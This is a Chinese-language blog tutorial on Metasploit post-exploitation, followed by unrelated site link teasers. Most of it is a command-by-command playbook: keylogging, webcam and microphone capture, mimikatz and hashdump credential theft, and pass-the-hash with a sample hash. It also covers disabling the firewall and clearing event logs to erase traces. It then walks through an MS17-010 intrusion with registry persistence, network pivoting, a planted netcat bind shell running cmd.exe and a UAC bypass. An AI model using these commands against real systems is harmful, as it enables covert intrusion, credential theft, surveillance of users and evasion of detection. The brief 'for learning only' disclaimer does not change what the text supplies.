如何使用Metasploit进行后渗透攻击?

news2024/11/19 0:22:57

后渗透攻击(PostExploitation)是整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节。前面的环节可以说都是在按部就班地完成非常普遍的目标,而在这个环节中,需要渗透测试团队根据目标组织的业务经营模式、保护资产形式与安全防御计划的不同特点,自主设计出攻击目标,识别关键基础设施,并寻找客户组织最具价值和尝试安全保护的信息和资产,最终达成能够对客户组织造成最重要业务影响的攻击途径。

  • 目标资产信息搜集的广度,决定渗透过程的复杂程度。
  • 目标主机信息搜集的深度,决定后渗透权限持续把控。
  • 渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
  • 持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。
  • 后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。

一、前言

我们知道前端安全包括了SQL注入,任意文件上传,XSS,CSRF,逻辑漏洞,跨域漏洞等等,我们可以将这些漏洞加以利用或组合来进行getshell的。在这里我们再区分一下getshell和webshell的区别,webshell更多的是获取前端的权限,顾名思义,一般仅限于前端或文件的增删改查;那么getshell则是获取更大的权限。一般的思路为挖掘漏洞,通过漏洞加以组合或利用获取webshell或后台权限,之后再进一步getshell。

二、后渗透之meterpreter

Meterpreter 是Metasploit 框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用, 攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系 统的一个 Meterpreter shell 的链接。
Meterpreter 能够躲避入侵检测系 统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此 HIDS[基于主机的入侵检测系统] 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有 经验的人也会变得非常困难。

meterpreter常用命令

1.基本命令

  • help# 查看 Meterpreter 帮助
  • background#返回,把 meterpreter 后台挂起
  • bgkill# 杀死一个背景 meterpreter 脚本
  • bglist#提供所有正在运行的后台脚本的列表
  • bgrun#作为一个后台线程运行脚本
  • channel#显示活动频道
  • sessions -i number # 与会话进行交互,number 表示第 n 个 session,使用 session -i 连接 到指定序号的 meterpreter 会话已继续利用
  • sessions -k number #与会话进行交互
  • sessions -j #
  • close# 关闭通道
  • exit# 终止 meterpreter 会话
  • quit# 终止 meterpreter 会话
  • interact id #切换进一个信道
  • run#执行一个已有的模块,这里要说的是输入 run 后按两下 tab,会列出所有的已有的脚本, 常用的有 autoroute,hashdump,arp_scanner,multi_meter_inject 等
  • irb# 进入 Ruby 脚本模式
  • read# 从通道读取数据
  • write# 将数据写入到一个通道
  • run 和 bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
  • use# 加载 meterpreter 的扩展
  • load/use#加载模块
  • Resource#执行一个已有的 rc 脚本

2.文件系统命令

  • cat c:\boot.ini#查看文件内容,文件必须存在
  • del c:\boot.ini #删除指定的文件
  • upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如 upload setup.exe C:\windows\system32\
  • download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者 download C:\“ProgramFiles”\Tencent\QQ\Users\295****125\Msg2.0.db /root/
  • edit c:\boot.ini # 编辑文件
  • getlwd#打印本地目录
  • getwd#打印工作目录
  • lcd#更改本地目录
  • ls#列出在当前目录中的文件列表
  • lpwd#打印本地目录
  • pwd#输出工作目录
  • cd c:\ #进入目录文件下
  • rm file #删除文件
  • mkdir dir #在受害者系统上的创建目录
  • rmdir#受害者系统上删除目录
  • dir #列出目标主机的文件和文件夹信息
  • mv#修改目标主机上的文件名
  • search -d d:\www -f web.config #search 文件,如 search -d c:\ -f.doc meterpreter > search -f autoexec.bat #搜索文件
  • meterpreter > search -f sea.bat c:\xamp\ enumdesktops #用户登录数
  • execute # 目标主机上执行一个命令

3.网络命令

  • ipconfig/ifconfig #显示网络接口的关键信息,包括 IP 地址
  • portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听 4444,把目标机 3389 转 到本机 4444
  • netstat -an | grep“4444" #查看指定端口开放情况
  • rdesktop -u Administrator -p p@ssw0rd 127.0.0.1:4444 #使用 rdesktop 来连接 桌面,-u 用户名 -p 密码
  • rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
  • route#查看或修改受害者路由表
  • route add 192.168.1.0 255.255.255.0 1 #添加动态路由
  • route print #路由表输出
  • runget_local_subnets #目标主机的内网 IP 段情况
  • Arp #看 ARP 缓冲表
  • Getproxy #获取代

4.键盘监听

  • Meterpreter 还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:
  • keyscan_start:开启键盘记录功能
  • keyscan_dump:显示捕捉到的键盘记录信息
  • keyscan_stop:停止键盘记录功能
  • uictl enable keyboard/mouse#接管目标主机的键盘和鼠标。
  • meterpreter > keyscan_start #针对远程目标主机开启键盘记录功能
  • meterpreter > keyscan_dump #存储目标主机上捕获的键盘记录
  • meterpreter > keyscan_stop #停止针对目标主机的键盘记录

5.系统命令

  • reboot#重新启动受害人的计算机
  • reg #与受害人的注册表进行交互
  • rev2self#回到控制目标主机的初始用户账户下
  • shell#获得控制台权限 shutdown#关闭了受害者的计算机
  • sysinfo # 查看目标机系统信息,如机器名,操作系统等
  • getgui #(创建一个用户,客户端化)
  • run getgui –h #查看帮助
  • run getgui –e #开启远程桌面
  • run getgui -u Star_Cheng -p 123321 #添加用户
  • run getgui -f 4446 –e #3389 端口转发到 4446
  • shell 命令 获取目标主机的远程命令行 shell,如果出错,考虑是目标主机限制了 cmd.exe 的访问权,可以使用 migrate 注入到管理员用户进程中再尝试

6.mimikatz

  • meterpreter > load mimikatz #加载 mimikatz
  • meterpreter > msv #获取 hash 值
  • meterpreter > kerberos #获取明文
  • meterpreter >ssp #获取明文信息
  • meterpreter > wdigest #获取系统账户信息
  • meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
  • meterpreter >mimikatz_command -f hash:: #获取目标 hash
  • meterpreter > mimikatz_command -f samdump::hashes
  • meterpreter > mimikatz_command -f sekurlsa::searchPasswords

7.网络嗅探

  • meterpreter > use sniffer # 加载嗅探模块
  • meterpreter > sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动 嗅探
  • meterpreter > sniffer_stop 2 #停止嗅探

8.获取敏感信息

  • run post/windows/gather/checkvm #是否虚拟机
  • run post/windows/gather/enum_applications #获取安装软件信息
  • run post/windows/gather/dumplinks #获取最近的文件操作
  • run post/windows/gather/enum_ie #获取 IE 缓存
  • run post/windows/gather/enum_chrome #获取 Chrome 缓存
  • run scraper #获取常见信息 #保存在~/.msf4/logs/scripts/scraper/目录下

9.获取 Hash

  • 使用“hashdump”命令可以从系统提取用户名和密码 hashes。使用 hashdump 命令可以获取目标主 机的 SAM 文件,获取目标主机的账号密码 hash 信息,剩下的可以用爆破软件算出明文密
  • meterpreter > run post/windows/gather/smart_hashdump
  • run post/windows/gather/hashdump

10.通过 Hash 获取权限

  • msf > use exploit/windows/smb/psexec
  • msf exploit(psexec) > show options
  • msf exploit(psexec) > set RHOST 192.168.0.254
  • RHOST => 192.168.0.254
  • msf exploit(psexec) > set SMBUser isosky SMBUser => isosky
  • msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
  • msf exploit(psexec) > exploit

11.捕捉屏幕

  • meterpreter > screenshot

12.得到远程桌面

  • run vnc

13.权限提升

  • 提权大体有以下几种方法: ·
  • 使用 getsystem 提升权限
  • ·利用本地漏洞 ·
  • 假冒令牌 ·绕过 Windows 账户控制(UAC) ·
  • HASH

(具体方法百度吧,我懒得写了0.0 或者看以后有空再更新一下)

14.清除事件日志

执行“clearev”命令,将清除事件日志。这个命令没有任何选项或参数。 执行“clearev”命令后打开目标机器的事件查看器里面的应用程序、安全性、系统都是是空的。(注意这个操作应该需要提权才能成功,我就是没提权,然后一直清楚不来,然后一提权,一下就搞定了)

15.网络摄像头

  • record_mic #音频录制
  • webcam_chat #查看摄像头接口
  • webcam_list #查看摄像头列表
  • webcam_stream #摄像头视频获取

16. 通过shell 来关闭防火墙

  • netsh advfirewall set allprofiles state off

三、利用ms17-010漏洞进行后渗透攻击

1、添加后门(持续攻击APT)及清除日志
首先利用漏洞ms17-010渗透进入,拿到meterpreter。过程简单不再赘述。

在这里插入图片描述

在 Meterpreter 会 话 中 运 行 persistence 后 渗 透 攻 击 模 块 , 在 目 标 主 机 的 注 册 表 键 KHLM\Software\Microsoft\windows\Currentversion\Run 中添加键值达到自启动的目的;-X 参数 指定启动的方式为开机自启动;-i 参数指定反向连接的时间间隔;然后建立 Meterpreter 的客户 端,-p 参数指定回连的 443 端口进行监听;-r 参数指定回连的主机(攻击机)

选择 exploit/multi/handler 模块,并选择 Meterpreter 回连会话的攻击载荷,执行 exploit 命令将开启监听,等目标主机重启之后,会通过注册表项中的自启动键设置启动 Meterpreter 攻击载 荷,成功建立反向连接。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们通过远程入侵主机,会在对方主机日志中留下记录。所以我们需要删除日志信息,清除痕迹。输入clearev 清除日志(注意删除日志首先需要提权操作)

在这里插入图片描述

如图成功删除日志

2、以win7为靶机做跳板,进行其他网段信息收集ms17-010漏洞进行攻击
首先查看已拿下主机的内网ip段情况 run get_local_subnets
然后添加去往目标内网网段(172.16.16.0/24)的静态路由

在这里插入图片描述

使用run autoroute –s 172.16.16.0/24添加路由(这一步忘截图了0.0)
run autoroute –p查看是否添加成功。

在这里插入图片描述
设置好路由后对内网进行扫描,扫描内网中打开3389端口的主机,发现有4个

然后对内网主机进行扫描,查看是否存在 ms17_010 漏洞,绿色的表示可能存在该漏洞

在这里插入图片描述
接着进行进一步攻击,设置好相应的攻击模块,攻击载荷以及参数

 在这里插入图片描述

入侵成功并创建会话,进入到了meterpreter


3、把netcat(瑞士军刀)的nc.exe_上传到目标机_上,然后设置开机运行(需要在注册表中设置)
上传nc 到目标机

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 

在这里插入图片描述

枚举注册表内容(开机启动)

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 

在这里插入图片描述

在该注册表增加内容(开机启动)

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d “C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe”

在这里插入图片描述

查看内容是否增加成功:

 reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 

在这里插入图片描述


附:其中一个提权操作

进入目标主机一般是一个比较低级的权限,我们需要通过提权获取一个管理员权限。一般通过getsystem命令会失败。所以我们这儿换一种方法。我们首先查看最初的权限为中等普通权限

在这里插入图片描述
然后回到控制台,将当前会话放到后台。 命令:background 如图显示放在会话2

 在这里插入图片描述

然后换个一个攻击模块。这里用这个,windows/local/bypassuac 这里local是本地的意思,bypass是绕过的意思,然后uac是用来控制windows用户权限的。所以这里的意思就是绕过uac机制进行提权。
设置好后回到会话2 然后开始攻击

在这里插入图片描述

可以看到,我们已经拿到一个高的权限了

在这里插入图片描述

仅供学习参考,切勿恶意用途!

网络安全零基础学习路线

对于从来没有接触过网络安全的同学,我帮你们准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

如果需要xmind版学习路线的话,可以在评论区告诉我。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/585366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于PyQt5的环境搭建

目录 一、需要的环境 二、安装python 1、python安装链接 三、安装PyQt5 1、使用豆瓣的镜像 2、配置环境变量 四、安装pycharm 1、pycharm官网链接 五、配置环境 1、找到设置 2、添加designer 3、配置ui 4、配置rc 六、注意问题 一、需要的环境 1、安装好python安装…

【Linux CAN应用编程(1)】初识CAN总线(附全文代码)

接下来我们学习 CAN 应用编程,CAN 是目前应用非常广泛的现场总线之一,主要应用于汽车电子和工业领域,尤其是汽车领域,汽车上大量的传感器与模块都是通过 CAN 总线连接起来的。CAN 总线目前是自动化领域发展的热点技术之一&#xf…

1、Vue简介与环境搭建

目录 一、Vue简介二、Vue开发环境1 - 环境安装2 - 新建Vue项目3 - VS Code4 - Vue项目的目录结构 一、Vue简介 官方文档:https://cn.vuejs.orgVue的api风格:选项式 API(Vue 2) 和组合式 API(Vue 3)**选项式…

怎么把pdf转成word?转换途径一览

在日常生活和工作中,我们常常需要处理各种文档格式。其中,PDF 作为一种流行的跨平台文件格式,广泛应用于技术文档、报告、合同和电子书等领域。但是,当我们需要修改 PDF 文件内容时,却往往会遇到困难。这时&#xff0c…

JavaScript引擎,V8引擎的原理

为什么需要JavaScript引擎? 高级的编程语言都是需要转成最终的机器指令来执行 我们所编写的js无论h是交给浏览器或者node执行,最后都是需要被CPU执行的 CPU只认识自己的指令集(机器语言)才能被CPU所执行 所以我们需要js引擎帮助我…

掌握了它,软件测试拿下25K轻轻松松!

了解软件测试这行的人都清楚,功能测试的天花板可能也就15k左右,而自动化的起点就在15k左右,当然两个岗位需要掌握的技能肯定是不一样的。 如果刚入门学习完软件测试,那么基本薪资会在7-8k左右,这个薪资不太高主要是因…

JQuery - JavaScript 的框架 - 语法简化版本

目录 js文件与 script 标签的位置问题总结: 有的时候是很坑,看了挺多资料,有时候乱糟糟的,都不说清楚,这是JavaScript的语法,还是 JQuery的语法,所以就会因为没有导入 JQuery的js文件&#xff0…

「功能测试进阶到自动化测试」一路走来都离不每个阶段的计划

关于「从功能测试,转岗到自动化测试」,主要的几个问题 : 001 目前一直在走功能测试,工作中也没有机会接触自动化测试 。想后续从事自动化测试,我应该从哪里开始学 ? 解答:自动化 &#xff0c…

【六】设计模式~~~结构型模式~~~适配器模式(Java)

【学习难度:★★☆☆☆,使用频率:★★★★☆】 1.1. 模式动机 在软件开发中采用类似于电源适配器的设计和编码技巧被称为适配器模式。通常情况下,客户端可以通过目标类的接口访问它所提供的服务。有时,现有的类可以满…

全渠道电子商务指南

希望将全渠道电子商务纳入您的业务战略,但不确定从哪里开始。这篇博文将指导您了解全渠道商务的基础知识,以及它与多渠道方法的区别。 全渠道电子商务旨在为线上和线下多个平台的客户创造全面的购物体验。客户可以通过各种接触点(例如网站、…

网络安全-02-BurpSuite工具安装

网络安全-02-BurpSuite工具安装 🔻一、BurpSuite简介&下载📗 二、Windows安装Jdk📰 2.1 下载Jdk并安装📰 2.2 设置Jdk环境变量📜 2.2.1 设置JAVA_HOME📜 2.2.2 设置path📜 2.2.3 Jdk验证 &a…

数据库基础——8.单行函数

这篇文章我们来讲一下数据库里面的单行函数 目录 1. 函数的理解 1.1 什么是函数 1.2 不同DBMS函数的差异 1.3 MySQL的内置函数及分类 2. 数值函数 2.1 基本函数 2.2 角度与弧度互换函数 2.3 三角函数 2.4 指数与对数 2.5 进制间的转换 3. 字符串函数 4. 日期和…

PyCharm配置Opencv

具体方案: Plan A:可以直接在pycharm中配置(如果有梯子可以试试,没有可能下载不了) 参考视频:直接在Pycharm中配置即可 两分钟用Pycharm安装并配置OpenCV_哔哩哔哩_bilibili PlanB:通过终端安…

dolphinscheduler3.1.7windows部署启动说明

简介 Apache DolphinScheduler是一个新一代分布式大数据工作流任务调度平台,致力于“解决大数据任务之间错综复杂的依赖关系,整个数据处理开箱即用”。它以 DAG(有向无环图) 的方式将任务连接起来,可实时监控任务的运行状态,同时…

01Redis单线程 VS 多线程

不同版本,情况不同 Redis的版本很多3.x、4.x、6.x,版本不同架构也是不同的,不限定版本问是否单线程也不太严谨。 版本3.x ,最早版本,也就是大家口口相传的redis是单线程 数据结构简单避免锁的开销和上下文切换可以有…

YOLOv7 tiny 新增小目标检测层

YOLOv7 tiny 新增小目标检测层 YOLOv7 tiny 新增小目标检测层修改yolov7-tiny.yaml文件YOLOv7 tiny 结构图调用 models/yolo.py验证 YOLOv7 tiny 新增小目标检测层 根据已有的结构进行新增小目标层,,个人理解,仅供参考!&#xff…

GPT模型应用及遥感云大数据在灾害、水体与湿地领域典型案例展示

GPT GPT的全称,是Generative Pre-Trained Transformer(生成式预训练Transformer模型)是一种基于互联网的、可用数据来训练的、文本生成的深度学习模型。 GPT与专注于下围棋或机器翻译等某一个具体任务的“小模型”不同,AI大模型…

Seata XA 模式理论学习、使用及注意事项 | Spring Cloud54

一、前言 通过以下系列章节: docker-compose 实现Seata Server高可用部署 | Spring Cloud 51 Seata AT 模式理论学习、事务隔离及部分源码解析 | Spring Cloud 52 Spring Boot集成Seata利用AT模式分布式事务示例 | Spring Cloud 53 我们对Seata及其AT事务模式的…

chatgpt赋能python:Python下载后的打开方法

Python 下载后的打开方法 Python是一种流行的编程语言,用于开发各种类型的应用程序,从Web应用程序到数据分析工具再到科学计算应用程序。许多人下载了Python,但是不确定如何在计算机上安装和打开它。在本篇文章中,我们将讨论Pyth…

如何实现UI交互?

UE5 插件开发指南 前言0 交易物品1 拖放物品1.0 拖放在背包里1.1 拖放在快捷栏里1.2 拖放在商店里1.3 放在其他地方2 小结前言 之前实现了UI的显示,这一篇补充UI的交互功能实现,先把思维导图画出来,程序员的自我修养就是任何时候都要理清思路,思路清晰是编码的前提,如下所…